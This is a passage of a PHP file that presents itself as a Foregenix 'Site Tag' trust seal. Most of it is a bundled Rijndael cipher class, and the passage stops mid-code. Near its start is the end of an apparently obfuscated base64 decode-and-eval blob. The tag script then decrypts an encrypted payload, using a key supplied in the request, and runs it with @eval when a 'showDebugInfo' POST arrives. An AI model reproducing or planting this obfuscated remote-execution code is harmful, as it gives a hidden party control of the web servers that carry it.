3LTg6Wt8+AVAfaN4lU1j1CmFcwhhh1YfPY0MSCYD4D75lDT5piBE+f05FZLzZTZeZiO5xr3kyqUzufZ3Dg/UrS5HdkUcskUWD2Pb0zKaIj89fDFTf2GHvVEOQM7j0PGCcpyFr3GM+04FaxYrSGad4/UeVV97K5iDLznW6QdNQdMSuBQRbODdkUMMPP8q8E1X7OuHL1NacJGrRu366yjvKSt7QPpVOLy8cb3Lkhdj0mCDf1HSri0Ad4jGdmBSlXWCk+e+p8OkieVIxNAAqRv5POaPFfkibyEt23YRd0yk+VQ1Kt3Is3xXYnZz3ZaRqFFOzPKKb4PKYpFYIhQPF+vthOD3QtaOzbgNc4X6WzKg/GWquwaYJ6dHnWV8D6E1QP+HqTGQqjU5CfFVzHYGvbui0eC7T1XXqRFsWpCHk/kDIaDg7sBHcmT6PhF0g0YXdw6bkRRJ8XyTURp2VinEP9fmm2pCBfRjjFLix0vMHahZNn/W4AYBzqOwZ5DEXCKFEDgLAGj9q/sG8krHogYlLHalyE7iQYxFhB8ueYZitdEMciREspOAMPwHoOyWKqkMdaks2NFkn2xKngq3fYkKapI4l+uloqQ6xHJ7a0cgt5bxTQd/fmCV7vPg+DsTWdCLlF7xSnMBb6xO+FUMU+Ua17oS+wJ7wP0S91+aIKrbFaXeXQaAWQxEFK6bAkINfizpWayaC1dB4QW9hiAmDoJwHhdc6cVZ1fyzhAn2RGCqqHglExSfZQJ1VYEhb+e48Ha4D++OZJMEYU0yM1OyaDYh61NO0bOXE2HW7LRfOHsTJQh689XMUC6M3Mca6yQ2hs/7yxiHD2EGmAhUpRPS7cMa6v3RQZZfsiK3j95kbzCj6MD1Y9+p51Cwt6O5gpLBiwGFbWKqavXmls67fbCxo3RkaG07WxWaP1UudJsosStHkj6ba42+OXM3XwPnzRy/1RKYjDfehsgFZY+H9qTKIHalgtz6jSMVrD3ebecvQH4iI0uKmmolsRlVRiVK1QtajCdJr0HD5tRvFL5nRq/s+zcaOICgBoUd+TtljSczWd3mQ/XkkVIVvoxB8CFJ/p9/+8df//Kv8kj7/3Yqqp/fmE/DvJbb9n9ti/7Tnuh/rYv+/q78N+dDV0g=")));?>
<?php /** FGX Site Tag -- Copyright Foregenix 2013, All Rights Reserved **/ $_FNAME = "/var/www/html/input.php"; if (!function_exists('gzuncompress')) { die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head></head><body><h1>Error</h1>Error 0x0f. Install and enable the zlib extension.. </body></html>'); } eval("define('V','6863860416673da2');define('R','23a648945a2d1d7aad311e767582f91f4b7cf4095f1d5ad6d716c8473e10670d');define('C','c+JlmLUL+eU+CxpirJDm6gHTnlKYAP9A0FY8GfkmbTQ=');define('AUTHP', 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDM1VMWFFoeW9yS0xpRjRJcGw2RStUT21KYgpQNjlaWG9vL1E4eHhzQWNsV21IaENTSUVCY0oxck03Wk9uMGlYSHJQL1NEQ3dWclRBdXdmb2tpK3JMeDJVYzlICnNjMWJiVmhibzlaamdtNElxeXlXWWNZQ21CUEhmK0gwdU40STk1dkxiejF2QnpCMzdZQTNvdU5ZaUVYN2ZNM1oKWGl1MzVmbG1vWllUeHZpVzNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=');\$src=isset(\$_SERVER['REMOTE_ADDR'])?\$_SERVER['REMOTE_ADDR']:\"\";\r\nif ( isset(\$_SERVER['HTTP_X_FORWARDED_FOR']) ) \$src = \$_SERVER['HTTP_X_FORWARDED_FOR'];\r\ndefine('SI','9138052656673da2a5e1403X');\r\nif(isset(\$_POST['showDebugInfo'])) {\r\n \$exts=get_loaded_extensions();\r\n if(isset(\$_REQUEST['k'])){\$k=htmlspecialchars(\$_REQUEST['k']);}else{ik();}\r\n if(!\$k){ik();}if(h(trim(d(base64_decode(C),\$k,V)))!==R){ik();}\r\n \$debugCore='9iiiJVynCirihJ5BIAIVQnGAoHpZlII8eiLDONcjEoZ/I2l5PVwjNT+m1nlI/DETH2Si9YbS/sXNYQlLoJigunlMA3DKuOJH6QPImap5QU+usoP+iZyyX53yBD7jYBUTpXQHJW8JU8Orh/IYt+TyLsJmi60Iqd9mkd+YxNW0EyMJ3K+9omZQYfH8s8qqjXoNi1iwjqyPKEoYwCX19o0JLwdhGnJkhppb5qTU2fQpcXYkXurcIKmKTkEjNXhfUpPnY+An7zU1Qr8s5ZxoCIjpgjDEUFKGCfnw8Prn1thmH0NnJ+7WH6LYv+FLuU9ucSobuOXGNxpHwNqPScDakgVJ6vaYd7jip36k/FLFs+Biiv6RfQu5R1lFgMc4mZUtzMTCkYR9EYV1XaNAO20CS0QNekNr/SBFWDbsBla9XsfKmZA5nfXOtVdczlwDLLAp64H8eqbKUYTURceOt9PZl1SlfhrC04UQtyalAUbVde1H0QDLFr2OwNsoq9s7tz6n4FN/DY6SUM1arakBnnNPpNOmOied24/AyS2P/lnt+JpemYYttxj6qXp7n1aaCkWA+WXAznlFNlNIAtfMxh2A5vClqn7QSrtsV/z1k1SF9c8UhCmPeKnxXec+R3kslVgQsduSjCSYMutPrPsUbVlDnpm869IadFrfaLPpCHHcKq8DxU1RZgu0v4TZ3Ou2RGQC7Q62pVAuADoHsCECH1sHmQLAlDma8Wgn8aDMzuz5VXKv6GpL8PnZj5M3t92vJFeIi0bL3ALlOFyHiliiJYtCure7el2RpEHbRWBmZEm2TUqKVC6uJeyZsFZT9rtRc1OW/wiZbhKBB211p/Vo12fQV1vG8RgxV7ghyAJjBT9HZnRo2W6oIb/AwVIg2K9WRdnAbXEQyCRi2kV+XrzbPLK4ipAw+LASTlGtqnVETGZA2NBQDfrCYp+GMzs2LhLauy0i5PydkkVXGfphbssuzGkV2KallpsW+V1jRUGxt3qw4m0eeMw=';\r\n @eval(trim(gzuncompress(d(base64_decode(\$debugCore),\$k,V))));\r\n}\r\nif(!isset(\$_REQUEST['k']) || !isset(\$_REQUEST['i']) || !isset(\$_REQUEST['e'])){\r\n \$cn = isset(\$_REQUEST['container']) ? addslashes(\$_REQUEST['container']):'FGXseal';\r\n \$si = isset(\$_REQUEST['size']) ? urlencode(\$_REQUEST['size']):'normal';\r\n \$pr = isset(\$_SERVER['HTTPS']) ? 'https' : 'http';\r\n \$faddr = isset(\$_SERVER['HTTPS']) ? 'portal.foregenix.com' : 'portal.foregenix.com';\r\n header(\"content-type: application/x-javascript\");\r\n die(\"document.getElementById(\\\"\$cn\\\").innerHTML = '<a href=\\\"#\\\" onclick=\\\"javascript:window.open(\\'http://portal.foregenix.com/FGXsealInfo.php?si=\".SI.\"\\',\\'Foregenix\\',\\'menubar=no,location=yes,alwaysRaised=yes,scrollbars=no,resizable=no,dependent=yes,status=no,top=30,left=300,width=350,height=300\\'); return false;\\\" title=\\\"Foregenix Secure Tag\\\"><img border=\\\"0\\\" src=\\\"//\".\$faddr.\"/FGXsealLogo.php?si=\".SI.\"&size=\$si\\\" alt=\\\"Foregenix Secure Tag\\\"/><\\/a>';\");\r\n}\r\nfunction req1(){\r\n \$exts=get_loaded_extensions();\r\n \$exts = array_map('strtolower', \$exts);\r\n \$ts = array(\r\n array('e'=>!function_exists('json_encode'),'m' => 'Install and enable the JSON extension.'),\r\n array('e'=>!in_array('xmlwriter',\$exts), 'm' => 'Install and enable the xmlwriter extension.'),\r\n array('e'=>!in_array('mbstring',\$exts),'m' => 'Install and enable the mbstring extension.'),\r\n array('e'=>!function_exists('utf8_encode'),'m' => 'Install and enable xml extensions'),\r\n array('e'=>!function_exists('hash_init'),'m' => 'Install and enable hash extension'),\r\n array('e'=>!function_exists('preg_match'),'m' => 'Install and enable pcre extension'),\r\n array('e'=>!in_array('spl', \$exts),'m' => 'Install and enable the SPL extension.'),\r\n );\r\n \$msgs = array();\r\n foreach ( \$ts as \$t){ if ( \$t['e'] ) { \$msgs[] = \$t['m']; } }\r\n return \$msgs;\r\n}\r\nfunction req(){\r\n \$msgs=req1();\r\n if (count(\$msgs)){ fatal('f', implode(',', \$msgs )); return; }\r\n} req();\r\nif(isset(\$_REQUEST['k'])){\$k=htmlspecialchars(\$_REQUEST['k']);}else{ik();}if(isset(\$_REQUEST['i'])){\$i=htmlspecialchars(\$_REQUEST['i']);}else{ua();}if(isset(\$_REQUEST['e'])){\$e=htmlspecialchars(\$_REQUEST['e']);}else{bs();}function le(){fatal(\"a\");}function ik(){fatal(\"b\");}function io(){fatal(\"c\");}function ua(){fatal(\"d\");}function bs(){fatal(\"e\");}function fatal(\$m,\$msg='') { print <<<EndOfPage\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\"><html lang=\"en\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/><title>Foregenix FGX-Web</title></head><body><h1>Error</h1>Error 0x0\$m. \$msg The attempt has been logged</body></html>\r\nEndOfPage;\r\nexit;}\r\n\r\nclass Rjn { const MODE_CTR = -1; const MODE_ECB = 1; const MODE_CBC = 2; const MODE_CFB = 3; const MODE_OFB = 4; const MODE_STREAM = 5; static \$WHIRLPOOL_AVAILABLE; const \r\nENGINE_INTERNAL = 1; var \$mode; var \$block_size = 16; var \$key = false; var \$iv = false; var \$encryptIV; var \$decryptIV; var \$continuousBuffer = false; var \$enbuffer; var \r\n\$debuffer; var \$enchanged = true; var \$dechanged = true; var \$ecb; var \$cfb_init_len = 600; var \$changed = true; var \$padding = true; var \$paddable = false; var \$engine; \r\nvar \$preferredEngine; var \$inline_crypt; var \$use_inline_crypt; var \$skip_key_adjustment = false; var \$explicit_key_length = false; function setIV(\$iv) { if (\$this->mode \r\n== self::MODE_ECB) { throw new \\InvalidArgumentException('This mode does not require an IV.'); } if (\$this->mode == self::MODE_STREAM && \$this->usesIV()) { throw new \r\n\\InvalidArgumentException('This algorithm does not use an IV.'); } if (strlen(\$iv) != \$this->block_size) { throw new \\LengthException('Received initialization vector of \r\nsize ' . strlen(\$iv) . ', but size ' . \$this->block_size . ' is required'); } \$this->iv = \$iv; \$this->changed = true; } function usesIV() { return true; } function \r\ngetKeyLength() { return \$this->key_length << 3; } function getBlockLength() { return \$this->block_size << 3; } function setPassword(\$password, \$method = 'pbkdf2') { \$key \r\n= ''; switch (\$method) { default: \$func_args = func_get_args(); \$hash = isset(\$func_args[2]) ? \$func_args[2] : 'sha1'; \$salt = isset(\$func_args[3]) ? \$func_args[3] : \r\n\$this->password_default_salt; \$count = isset(\$func_args[4]) ? \$func_args[4] : 1000; if (isset(\$func_args[5])) { \$dkLen = \$func_args[5]; } else { \$key_length = \r\n\$this->explicit_key_length !== false ? \$this->explicit_key_length : \$this->key_length; \$dkLen = \$method == 'pbkdf1' ? 2 * \$key_length : \$key_length; } switch (true) { \r\ncase \$method == 'pbkdf1': \$hashObj = new Hash(); \$hashObj->setHash(\$hash); if (\$dkLen > \$hashObj->getLength()) { throw new \\LengthException('Derived key length cannot be \r\nlonger than the hash length'); } \$t = \$password . \$salt; for (\$i = 0; \$i < \$count; ++\$i) { \$t = \$hashObj->hash(\$t); } \$key = substr(\$t, 0, \$dkLen); \r\n\$this->setKey(substr(\$key, 0, \$dkLen >> 1)); \$this->setIV(substr(\$key, \$dkLen >> 1)); return true; case !function_exists('hash_pbkdf2'): case \r\n!function_exists('hash_algos'): case !in_array(\$hash, hash_algos()): \$i = 1; while (strlen(\$key) < \$dkLen) { \$hmac = new Hash(); \$hmac->setHash(\$hash); \r\n\$hmac->setKey(\$password); \$f = \$u = \$hmac->hash(\$salt . pack('N', \$i++)); for (\$j = 2; \$j <= \$count; ++\$j) { \$u = \$hmac->hash(\$u); \$f^= \$u; } \$key.= \$f; } \$key = \r\nsubstr(\$key, 0, \$dkLen); break; default: \$key = hash_pbkdf2(\$hash, \$password, \$salt, \$count, \$dkLen, true); } } \$this->setKey(\$key); return true; } function \r\nencrypt(\$plaintext) { if (\$this->paddable) { \$plaintext = \$this->_pad(\$plaintext); } if (\$this->changed) { \$this->_setup(); \$this->changed = false; } if \r\n(\$this->use_inline_crypt) { \$inline = \$this->inline_crypt; return \$inline('encrypt', \$this, \$plaintext); } \$buffer = &\$this->enbuffer; \$block_size = \$this->block_size; \r\n\$ciphertext = ''; switch (\$this->mode) { case self::MODE_ECB: for (\$i = 0; \$i < strlen(\$plaintext); \$i+=\$block_size) { \$ciphertext.= \r\n\$this->_encryptBlock(substr(\$plaintext, \$i, \$block_size)); } break; case self::MODE_CBC: \$xor = \$this->encryptIV; for (\$i = 0; \$i < strlen(\$plaintext); \$i+=\$block_size) { \r\n\$block = substr(\$plaintext, \$i, \$block_size); \$block = \$this->_encryptBlock(\$block ^ \$xor); \$xor = \$block; \$ciphertext.= \$block; } if (\$this->continuousBuffer) { \r\n\$this->encryptIV = \$xor; } break; case self::MODE_CTR: \$xor = \$this->encryptIV; if (strlen(\$buffer['ciphertext'])) { for (\$i = 0; \$i < strlen(\$plaintext); \r\n\$i+=\$block_size) { \$block = substr(\$plaintext, \$i, \$block_size); if (strlen(\$block) > strlen(\$buffer['ciphertext'])) { \$buffer['ciphertext'].= \$this->_encryptBlock(\$xor); \r\n} \$this->_increment_str(\$xor); \$key = \$this->_string_shift(\$buffer['ciphertext'], \$block_size); \$ciphertext.= \$block ^ \$key; } } else { for (\$i = 0; \$i < \r\nstrlen(\$plaintext); \$i+=\$block_size) { \$block = substr(\$plaintext, \$i, \$block_size); \$key = \$this->_encryptBlock(\$xor); \$this->_increment_str(\$xor); \$ciphertext.= \$block \r\n^ \$key; } } if (\$this->continuousBuffer) { \$this->encryptIV = \$xor; if (\$start = strlen(\$plaintext) % \$block_size) { \$buffer['ciphertext'] = substr(\$key, \$start) . \r\n\$buffer['ciphertext']; } } break; case self::MODE_CFB: if (\$this->continuousBuffer) { \$iv = &\$this->encryptIV; \$pos = &\$buffer['pos']; } else { \$iv = \$this->encryptIV; \r\n\$pos = 0; } \$len = strlen(\$plaintext); \$i = 0; if (\$pos) { \$orig_pos = \$pos; \$max = \$block_size - \$pos; if (\$len >= \$max) { \$i = \$max; \$len-= \$max; \$pos = 0; } else { \$i \r\n= \$len; \$pos+= \$len; \$len = 0; } \$ciphertext = substr(\$iv, \$orig_pos) ^ \$plaintext; \$iv = substr_replace(\$iv, \$ciphertext, \$orig_pos, \$i); } while (\$len >= \$block_size) { \r\n\$iv = \$this->_encryptBlock(\$iv) ^ substr(\$plaintext, \$i, \$block_size); \$ciphertext.= \$iv; \$len-= \$block_size; \$i+= \$block_size; } if (\$len) { \$iv = \r\n\$this->_encryptBlock(\$iv); \$block = \$iv ^ substr(\$plaintext, \$i); \$iv = substr_replace(\$iv, \$block, 0, \$len); \$ciphertext.= \$block; \$pos = \$len; } break; case \r\nself::MODE_OFB: \$xor = \$this->encryptIV; if (strlen(\$buffer['xor'])) { for (\$i = 0; \$i < strlen(\$plaintext); \$i+=\$block_size) { \$block = substr(\$plaintext, \$i, \r\n\$block_size); if (strlen(\$block) > strlen(\$buffer['xor'])) { \$xor = \$this->_encryptBlock(\$xor); \$buffer['xor'].= \$xor; } \$key = \$this->_string_shift(\$buffer['xor'], \r\n\$block_size); \$ciphertext.= \$block ^ \$key; } } else { for (\$i = 0; \$i < strlen(\$plaintext); \$i+=\$block_size) { \$xor = \$this->_encryptBlock(\$xor); \$ciphertext.= \r\nsubstr(\$plaintext, \$i, \$block_size) ^ \$xor; } \$key = \$xor; } if (\$this->continuousBuffer) { \$this->encryptIV = \$xor; if (\$start = strlen(\$plaintext) % \$block_size) { \r\n\$buffer['xor'] = substr(\$key, \$start) . \$buffer['xor']; } } break; case self::MODE_STREAM: \$ciphertext = \$this->_encryptBlock(\$plaintext); break; } return \$ciphertext; } \r\nfunction decrypt(\$ciphertext) { if (\$this->paddable && strlen(\$ciphertext) % \$this->block_size) { throw new \\LengthException('The ciphertext length (' . \r\nstrlen(\$ciphertext) . ') needs to be a multiple of the block size (' . \$this->block_size . ')'); } if (\$this->changed) { \$this->_setup(); \$this->changed = false; } if \r\n(\$this->use_inline_crypt) { \$inline = \$this->inline_crypt; return \$inline('decrypt', \$this, \$ciphertext); } \$block_size = \$this->block_size; \$buffer = &\$this->debuffer; \r\n\$plaintext = ''; switch (\$this->mode) { case self::MODE_ECB: for (\$i = 0; \$i < strlen(\$ciphertext); \$i+=\$block_size) { \$plaintext.= \r\n\$this->_decryptBlock(substr(\$ciphertext, \$i, \$block_size)); } break; case self::MODE_CBC: \$xor = \$this->decryptIV; for (\$i = 0; \$i < strlen(\$ciphertext); \$i+=\$block_size) \r\n{ \$block = substr(\$ciphertext, \$i, \$block_size); \$plaintext.= \$this->_decryptBlock(\$block) ^ \$xor; \$xor = \$block; } if (\$this->continuousBuffer) { \$this->decryptIV = \r\n\$xor; } break; case self::MODE_CTR: \$xor = \$this->decryptIV; if (strlen(\$buffer['ciphertext'])) { for (\$i = 0; \$i < strlen(\$ciphertext); \$i+=\$block_size) { \$block = \r\nsubstr(\$ciphertext, \$i, \$block_size); if (strlen(\$block) > strlen(\$buffer['ciphertext'])) { \$buffer['ciphertext'].= \$this->_encryptBlock(\$xor); \r\n\$this->_increment_str(\$xor); } \$key = \$this->_string_shift(\$buffer['ciphertext'], \$block_size); \$plaintext.= \$block ^ \$key; } } else { for (\$i = 0; \$i < \r\nstrlen(\$ciphertext); \$i+=\$block_size) { \$block = substr(\$ciphertext, \$i, \$block_size); \$key = \$this->_encryptBlock(\$xor); \$this->_increment_str(\$xor); \$plaintext.= \$block \r\n^ \$key; } } if (\$this->continuousBuffer) { \$this->decryptIV = \$xor; if (\$start = strlen(\$ciphertext) % \$block_size) { \$buffer['ciphertext'] = substr(\$key, \$start) . \r\n\$buffer['ciphertext']; } } break; case self::MODE_CFB: if (\$this->continuousBuffer) { \$iv = &\$this->decryptIV; \$pos = &\$buffer['pos']; } else { \$iv = \$this->decryptIV; \r\n\$pos = 0; } \$len = strlen(\$ciphertext); \$i = 0; if (\$pos) { \$orig_pos = \$pos; \$max = \$block_size - \$pos; if (\$len >= \$max) { \$i = \$max; \$len-= \$max; \$pos = 0; } else { \$i \r\n= \$len; \$pos+= \$len; \$len = 0; } \$plaintext = substr(\$iv, \$orig_pos) ^ \$ciphertext; \$iv = substr_replace(\$iv, substr(\$ciphertext, 0, \$i), \$orig_pos, \$i); } while (\$len >= \r\n\$block_size) { \$iv = \$this->_encryptBlock(\$iv); \$cb = substr(\$ciphertext, \$i, \$block_size); \$plaintext.= \$iv ^ \$cb; \$iv = \$cb; \$len-= \$block_size; \$i+= \$block_size; } if \r\n(\$len) { \$iv = \$this->_encryptBlock(\$iv); \$plaintext.= \$iv ^ substr(\$ciphertext, \$i); \$iv = substr_replace(\$iv, substr(\$ciphertext, \$i), 0, \$len); \$pos = \$len; } break; \r\ncase self::MODE_OFB: \$xor = \$this->decryptIV; if (strlen(\$buffer['xor'])) { for (\$i = 0; \$i < strlen(\$ciphertext); \$i+=\$block_size) { \$block = substr(\$ciphertext, \$i, \r\n\$block_size); if (strlen(\$block) > strlen(\$buffer['xor'])) { \$xor = \$this->_encryptBlock(\$xor); \$buffer['xor'].= \$xor; } \$key = \$this->_string_shift(\$buffer['xor'], \r\n\$block_size); \$plaintext.= \$block ^ \$key; } } else { for (\$i = 0; \$i < strlen(\$ciphertext); \$i+=\$block_size) { \$xor = \$this->_encryptBlock(\$xor); \$plaintext.= \r\nsubstr(\$ciphertext, \$i, \$block_size) ^ \$xor; } \$key = \$xor; } if (\$this->continuousBuffer) { \$this->decryptIV = \$xor; if (\$start = strlen(\$ciphertext) % \$block_size) { \r\n\$buffer['xor'] = substr(\$key, \$start) . \$buffer['xor']; } } break; case self::MODE_STREAM: \$plaintext = \$this->_decryptBlock(\$ciphertext); break; } return \$this->paddable \r\n? \$this->_unpad(\$plaintext) : \$plaintext; } function _getIV(\$iv) { return \$this->mode == self::MODE_ECB ? str_repeat(\"\\0\", \$this->block_size) : \$iv; } function \r\nenablePadding() { \$this->padding = true; } function disablePadding() { \$this->padding = false; } function enableContinuousBuffer() { if (\$this->mode == self::MODE_ECB) { \r\nreturn; } \$this->continuousBuffer = true; \$this->_setEngine(); } function disableContinuousBuffer() { if (\$this->mode == self::MODE_ECB) { return; } if \r\n(!\$this->continuousBuffer) { return; } \$this->continuousBuffer = false; \$this->changed = true; \$this->_setEngine(); } function setPreferredEngine(\$engine) { switch \r\n(\$engine) { default: case self::ENGINE_INTERNAL: \$this->preferredEngine = \$engine; break; } \$this->_setEngine(); } function getEngine() { return \$this->engine; } function \r\n_setEngine() { \$this->engine = null; \$candidateEngines = array( \$this->preferredEngine,); foreach (\$candidateEngines as \$engine) { if (\$this->isValidEngine(\$engine)) { \r\n\$this->engine = \$engine; break; } } if (!\$this->engine) { \$this->engine = self::ENGINE_INTERNAL; } \$this->changed = true; } function _setup() { \$this->_clearBuffers(); \r\n\$this->_setupKey(); if (\$this->use_inline_crypt) { \$this->_setupInlineCrypt(); } } function _pad(\$text) { \$length = strlen(\$text); if (!\$this->padding) { if (\$length % \r\n\$this->block_size == 0) { return \$text; } else { throw new \\LengthException(\"The plaintext's length (\$length) is not a multiple of the block size ({\$this->block_size}). \r\nTry enabling padding.\"); } } \$pad = \$this->block_size - (\$length % \$this->block_size); return str_pad(\$text, \$length + \$pad, chr(\$pad)); } function _unpad(\$text) { if \r\n(!\$this->padding) { return \$text; } \$length = ord(\$text[strlen(\$text) - 1]); if (!\$length || \$length > \$this->block_size) { throw new \\LengthException(\"The ciphertext has \r\nan invalid padding length (\$length) compared to the block size ({\$this->block_size})\"); } return substr(\$text, 0, -\$length); } function _clearBuffers() { \$this->enbuffer \r\n= \$this->debuffer = array('ciphertext' => '', 'xor' => '', 'pos' => 0); if (\$this->iv === false && !in_array(\$this->mode, array(self::MODE_STREAM, self::MODE_ECB))) { \r\nthrow new \\UnexpectedValueException('No IV has been defined'); } \$this->encryptIV = \$this->decryptIV = \$this->iv; } function _string_shift(&\$string, \$index = 1) { \$substr \r\n= substr(\$string, 0, \$index); \$string = substr(\$string, \$index); return \$substr; } function _string_pop(&\$string, \$index = 1) { \$substr = substr(\$string, -\$index); \r\n\$string = substr(\$string, 0, -\$index); return \$substr; } function _increment_str(&\$var) { for (\$i = 4; \$i <= strlen(\$var); \$i+= 4) { \$temp = substr(\$var, -\$i, 4); switch \r\n(\$temp) { case \"\\xFF\\xFF\\xFF\\xFF\": \$var = substr_replace(\$var, \"\\x00\\x00\\x00\\x00\", -\$i, 4); break; case \"\\x7F\\xFF\\xFF\\xFF\": \$var = substr_replace(\$var, \r\n\"\\x80\\x00\\x00\\x00\", -\$i, 4); return; default: \$temp = unpack('Nnum', \$temp); \$var = substr_replace(\$var, pack('N', \$temp['num'] + 1), -\$i, 4); return; } } \$remainder = \r\nstrlen(\$var) % 4; if (\$remainder == 0) { return; } \$temp = unpack('Nnum', str_pad(substr(\$var, 0, \$remainder), 4, \"\\0\", STR_PAD_LEFT)); \$temp = substr(pack('N', \r\n\$temp['num'] + 1), -\$remainder); \$var = substr_replace(\$var, \$temp, 0, \$remainder); } function _createInlineCryptFunction(\$cipher_code) { \$block_size = \$this->block_size; \r\n\$init_crypt = isset(\$cipher_code['init_crypt']) ? \$cipher_code['init_crypt'] : ''; \$init_encrypt = isset(\$cipher_code['init_encrypt']) ? \r\n\$cipher_code['init_encrypt'] : ''; \$init_decrypt = isset(\$cipher_code['init_decrypt']) ? \$cipher_code['init_decrypt'] : ''; \$encrypt_block = \r\n\$cipher_code['encrypt_block']; \$decrypt_block = \$cipher_code['decrypt_block']; switch (\$this->mode) { case self::MODE_ECB: \$encrypt = \$init_encrypt . ' \$_ciphertext = \"\"; \r\n\$_plaintext_len = strlen(\$_text); for (\$_i = 0; \$_i < \$_plaintext_len; \$_i+= '.\$block_size.') { \$in = substr(\$_text, \$_i, '.\$block_size.'); '.\$encrypt_block.' \r\n\$_ciphertext.= \$in; } return \$_ciphertext; '; \$decrypt = \$init_decrypt . ' \$_plaintext = \"\"; \$_text = str_pad(\$_text, strlen(\$_text) + ('.\$block_size.' - strlen(\$_text) % \r\n'.\$block_size.') % '.\$block_size.', chr(0)); \$_ciphertext_len = strlen(\$_text); for (\$_i = 0; \$_i < \$_ciphertext_len; \$_i+= '.\$block_size.') { \$in = substr(\$_text, \$_i, \r\n'.\$block_size.'); '.\$decrypt_block.' \$_plaintext.= \$in; } return \$self->_unpad(\$_plaintext); '; break; case self::MODE_CTR: \$encrypt = \$init_encrypt . ' \$_ciphertext = \r\n\"\"; \$_plaintext_len = strlen(\$_text); \$_xor = \$self->encryptIV; \$_buffer = &\$self->enbuffer; if (strlen(\$_buffer[\"ciphertext\"])) { for (\$_i = 0; \$_i < \$_plaintext_len; \r\n\$_i+= '.\$block_size.') { \$_block = substr(\$_text, \$_i, '.\$block_size.'); if (strlen(\$_block) > strlen(\$_buffer[\"ciphertext\"])) { \$in = \$_xor; '.\$encrypt_block.' \r\n\$self->_increment_str(\$_xor); \$_buffer[\"ciphertext\"].= \$in; } \$_key = \$self->_string_shift(\$_buffer[\"ciphertext\"], '.\$block_size.'); \$_ciphertext.= \$_block ^ \$_key; } } \r\nelse { for (\$_i = 0; \$_i < \$_plaintext_len; \$_i+= '.\$block_size.') { \$_block = substr(\$_text, \$_i, '.\$block_size.'); \$in = \$_xor; '.\$encrypt_block.' \r\n\$self->_increment_str(\$_xor); \$_key = \$in; \$_ciphertext.= \$_block ^ \$_key; } } if (\$self->continuousBuffer) { \$self->encryptIV = \$_xor; if (\$_start = \$_plaintext_len % \r\n'.\$block_size.') { \$_buffer[\"ciphertext\"] = substr(\$_key, \$_start) . \$_buffer[\"ciphertext\"]; } } return \$_ciphertext; '; \$decrypt = \$init_encrypt . ' \$_plaintext = \"\"; \r\n\$_ciphertext_len = strlen(\$_text); \$_xor = \$self->decryptIV; \$_buffer = &\$self->debuffer; if (strlen(\$_buffer[\"ciphertext\"])) { for (\$_i = 0; \$_i < \$_ciphertext_len; \r\n\$_i+= '.\$block_size.') { \$_block = substr(\$_text, \$_i, '.\$block_size.'); if (strlen(\$_block) > strlen(\$_buffer[\"ciphertext\"])) { \$in = \$_xor; '.\$encrypt_block.' \r\n\$self->_increment_str(\$_xor); \$_buffer[\"ciphertext\"].= \$in; } \$_key = \$self->_string_shift(\$_buffer[\"ciphertext\"], '.\$block_size.'); \$_plaintext.= \$_block ^ \$_key; } } \r\nelse { for (\$_i = 0; \$_i < \$_ciphertext_len; \$_i+= '.\$block_size.') { \$_block = substr(\$_text, \$_i, '.\$block_size.'); \$in = \$_xor; '.\$encrypt_block.' \r\n\$self->_increment_str(\$_xor); \$_key = \$in; \$_plaintext.= \$_block ^ \$_key; } } if (\$self->continuousBuffer) { \$self->decryptIV = \$_xor; if (\$_start = \$_ciphertext_len % \r\n'.\$block_size.') { \$_buffer[\"ciphertext\"] = substr(\$_key, \$_start) . \$_buffer[\"ciphertext\"]; } } return \$_plaintext; '; break; case self::MODE_CFB: \$encrypt = \r\n\$init_encrypt . ' \$_ciphertext = \"\"; \$_buffer = &\$self->enbuffer; if (\$self->continuousBuffer) { \$_iv = &\$self->encryptIV; \$_pos = &\$_buffer[\"pos\"]; } else { \$_iv = \r\n\$self->encryptIV; \$_pos = 0; } \$_len = strlen(\$_text); \$_i = 0; if (\$_pos) { \$_orig_pos = \$_pos; \$_max = '.\$block_size.' - \$_pos; if (\$_len >= \$_max) { \$_i = \$_max; \r\n\$_len-= \$_max; \$_pos = 0; } else { \$_i = \$_len; \$_pos+= \$_len; \$_len = 0; } \$_ciphertext = substr(\$_iv, \$_orig_pos) ^ \$_text; \$_iv = substr_replace(\$_iv, \$_ciphertext, \r\n\$_orig_pos, \$_i); } while (\$_len >= '.\$block_size.') { \$in = \$_iv; '.\$encrypt_block.'; \$_iv = \$in ^ substr(\$_text, \$_i, '.\$block_size.'); \$_ciphertext.= \$_iv; \$_len-= \r\n'.\$block_size.'; \$_i+= '.\$block_size.'; } if (\$_len) { \$in = \$_iv; '.\$encrypt_block.' \$_iv = \$in; \$_block = \$_iv ^ substr(\$_text, \$_i); \$_iv = substr_replace(\$_iv, \r\n\$_block, 0, \$_len); \$_ciphertext.= \$_block; \$_pos = \$_len; } return \$_ciphertext; '; \$decrypt = \$init_encrypt . ' \$_plaintext = \"\"; \$_buffer = &\$self->debuffer; if \r\n(\$self->continuousBuffer) { \$_iv = &\$self->decryptIV; \$_pos = &\$_buffer[\"pos\"]; } else { \$_iv = \$self->decryptIV; \$_pos = 0; } \$_len = strlen(\$_text); \$_i = 0; if (\$_pos) \r\n{ \$_orig_pos = \$_pos; \$_max = '.\$block_size.' - \$_pos; if (\$_len >= \$_max) { \$_i = \$_max; \$_len-= \$_max; \$_pos = 0; } else { \$_i = \$_len; \$_pos+= \$_len; \$_len = 0; } \r\n\$_plaintext = substr(\$_iv, \$_orig_pos) ^ \$_text; \$_iv = substr_replace(\$_iv, substr(\$_text, 0, \$_i), \$_orig_pos, \$_i); } while (\$_len >= '.\$block_size.') { \$in = \$_iv; \r\n'.\$encrypt_block.' \$_iv = \$in; \$cb = substr(\$_text, \$_i, '.\$block_size.'); \$_plaintext.= \$_iv ^ \$cb; \$_iv = \$cb; \$_len-= '.\$block_size.'; \$_i+= '.\$block_size.'; } if \r\n(\$_len) { \$in = \$_iv; '.\$encrypt_block.' \$_iv = \$in; \$_plaintext.= \$_iv ^ substr(\$_text, \$_i); \$_iv = substr_replace(\$_iv, substr(\$_text, \$_i), 0, \$_len); \$_pos = \$_len; \r\n} return \$_plaintext; '; break; case 